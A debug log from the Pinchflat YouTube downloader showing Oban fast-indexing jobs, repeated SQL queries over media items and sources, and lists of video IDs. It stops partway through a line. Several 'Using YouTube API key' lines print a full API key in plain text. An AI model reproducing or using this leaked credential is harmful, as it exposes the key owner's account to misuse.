OK source="media_items" db=0.6ms idle=79.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 16:27:04.236 [debug] QUERY OK source="media_items" db=0.2ms idle=80.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 16:27:04.237 [debug] QUERY OK source="tasks" db=0.1ms idle=80.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799975, 13, ~U[2026-02-10 22:27:04Z], ~U[2026-02-10 22:27:04Z]] 16:27:04.237 [info] {"args":{"id":13},"id":3799936,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133571,"event":"job:stop","queue_time":523510,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:04.323 [debug] QUERY OK source="media_items" db=0.5ms idle=86.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:27:04.324 [debug] QUERY OK source="media_items" db=0.3ms idle=87.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:27:04.325 [debug] QUERY OK source="tasks" db=0.1ms idle=81.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799976, 22, ~U[2026-02-10 22:27:04Z], ~U[2026-02-10 22:27:04Z]] 16:27:04.325 [info] {"args":{"id":22},"id":3799937,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169730,"event":"job:stop","queue_time":545748,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:05.993 [info] {"args":{"id":14},"id":3799938,"meta":{},"system_time":1770762425993765395,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:05.994 [debug] QUERY OK source="sources" db=0.1ms idle=115.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 16:27:05.994 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=115.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:05.994 [debug] QUERY OK source="media_profiles" db=0.2ms idle=115.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:05.995 [debug] QUERY OK source="settings" db=0.2ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:05.995 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:27:05.995 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:05.995 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:06.066 [debug] QUERY OK source="media_items" db=0.7ms idle=71.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 16:27:06.068 [debug] QUERY OK source="media_items" db=1.1ms idle=72.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:27:06.069 [debug] QUERY OK source="tasks" db=0.1ms idle=73.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799977, 14, ~U[2026-02-10 22:27:06Z], ~U[2026-02-10 22:27:06Z]] 16:27:06.069 [info] {"args":{"id":14},"id":3799938,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":75458,"event":"job:stop","queue_time":487734,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:06.994 [info] {"args":{"id":32},"id":3799939,"meta":{},"system_time":1770762426994873186,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:06.995 [debug] QUERY OK source="sources" db=0.1ms idle=925.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 16:27:06.995 [debug] QUERY OK source="settings" db=0.1ms idle=925.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:06.995 [debug] QUERY OK source="media_profiles" db=0.1ms idle=919.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:06.995 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:06.995 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 16:27:06.995 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:06.996 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:07.117 [debug] QUERY OK source="media_items" db=0.6ms idle=121.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 16:27:07.119 [debug] QUERY OK source="media_items" db=1.0ms idle=123.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 16:27:07.120 [debug] QUERY OK source="tasks" db=0.1ms idle=124.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799978, 32, ~U[2026-02-10 22:27:07Z], ~U[2026-02-10 22:27:07Z]] 16:27:07.120 [info] {"args":{"id":32},"id":3799939,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125555,"event":"job:stop","queue_time":493074,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:07.996 [info] {"args":{"id":24},"id":3799940,"meta":{},"system_time":1770762427996711776,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:07.996 [info] {"args":{"id":4},"id":3799941,"meta":{},"system_time":1770762427996755150,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:07.997 [debug] QUERY OK source="sources" db=0.2ms idle=876.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 16:27:07.997 [debug] QUERY OK source="sources" db=0.2ms idle=876.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:27:07.997 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.997 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=870.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.997 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:07.998 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:07.998 [debug] QUERY OK source="settings" db=0.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.998 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:27:07.998 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.998 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 16:27:07.998 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.998 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:07.998 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:07.998 [debug] Using YouTube API key: 